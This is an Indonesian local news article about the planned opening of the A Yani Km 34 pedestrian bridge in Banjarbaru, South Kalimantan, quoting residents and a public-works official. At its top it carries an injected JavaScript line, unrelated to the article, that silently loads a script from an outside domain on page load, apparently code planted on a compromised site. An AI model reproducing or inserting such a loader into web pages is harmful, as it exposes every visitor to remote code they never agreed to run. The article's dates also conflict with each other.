(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Ikonik Baru di Banjarbaru, Warga Penasaran Jajal JPO A Yani 34 Kala Malam Hari

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru terus percantik diri sebagai Ibu Kota Provinsi Kalimantan Selatan (Kalsel), kekinian wajah kota Idaman punya ikonik baru.

Ya, rasa penasaran warga soal Jembatan Penyeberangan Orang (JPO) pertama di ibu kota Provinsi Kalsel segera terjawab. Menyusul akan segera diresmikan JPO A Yani Km 34 Kota Banjarbaru.

“Malam hari terlihat lebih bagus, ada berbagai warna lampunya,” ujar Edy, warga Mentaos, Banjarbaru Utara, kepada Kanalkalimantan.com, Selasa (3/11/2023) malam.

“Kalau siang tidak terlihat kemegahannya, karena tidak ada lampunya, jadi kalau malam hari sangat bagus, padahal baru dilihat dari luar, belum masuk ke dalamnya,” beber Edy.

Warga Banjarbaru lainnya, Fitriani mengaku penasaran akan seperti apa kalau masuk ke lorong JPO saat malam hari.

“Penasaran saja, lampunya warna warni, kayaknya masuk ke dalam JPO itu bagus sekali melihat jalan A Yani dari atas,” aku warga Sungai Besar ini.
“Karena kan siang tidak tampak warna lampunya, penasaran jadinya ingin mencoba masuk melihat langsung saat malam hari,” ujarnya.

Sementara itu, Dinas PUPR Banjarbaru memastikan, JPO A Yani Km 34 menjadi satu-satunya di Kalimantan Selatan.

“Insyaallah akan diresmikan Kamis malam besok. Sudah diagendakan. Insya-Allah diresmikan bapak Wali Kota Aditya,” ujar Kepala Bidang Bina Marga Dinas PUPR Kota Banjarbaru, Adi Maulana, Selasa (3/1/2023) siang.

Ditambahkan Adi, pada Kamis malam tersebut, Wali Kota Banjarbaru, Aditya Mufti Ariffin sekaligus meninjau hasil seluruh rangkaian pembangunan JPO A Yani Km 34.

“Setelah itu, warga dan pengunjung yang berhadir saat peresmian dipersilakan untuk juga mencoba dan menggunakannya secara umum. Begitupun untuk hari-hari selanjutnya, JPO sudah bisa dipergunakan untuk masyarakat secara umum,” sebut Adi.

Adi -pejabat muda ini akrab disapa- menuturkan bahwa fasilitas JPO sudah dapat digunakan masyarakat umum setelah acara peresmian nanti. Tentunya ia berharap infrastruktur ikonik itu ke depannya dapat dijaga masyarakat, khususnya warga Banjarbaru.

“JPO ini sudah dilengkapi dengan peralatan yang modern. Sebagaimana harapan bapak Wali Kota, semoga JPO ini bisa bermanfaat bagi masyarakat dan dapat dijaga dengan baik,” tuturnya.

Pembangunan fasilitas JPO dicanangkan Wali Kota Banjarbaru yang berangkat dari orientasi kegunaan jangka panjang. Adanya akses penyeberangan yang aman bagi pejalan kaki perlu disiasati secepat mungkin, lantaran kondisi lalu lintas di ibu kota provinsi semakin padat.

Dalam beberapa waktu terakhir, Aditya telah melakukan komunikasi dengan Kementerian Perhubungan RI dan pihak terkait untuk mewujudkan fasilitas JPO pertama di Banjarbaru. Hingga pada awal tahun 2022, rencana tersebut akhirnya mendapatkan lampu hijau dari pemerintah pusat.

Pembangunan infrastruktur memulai pembangunan JPO sejak pertengahan tahun 2022 lalu. Sebelum itu, Dinas PUPR sendiri telah mengkaji dan meminta petunjuk teknis (Juknis) dari Balai Jalan Nasional terkait faktor keselamatan masyarakat.

“Kita perlu memberikan jaminan keselamatan bagi maysarakat saat fasilitas mulai dioperasionalkan. Oleh karena itu kita banyak komunikasi dengan pihak terkait,” tuntas Adi. (Kanalkalimantan.com/al)

Reporter : al
Editor : bie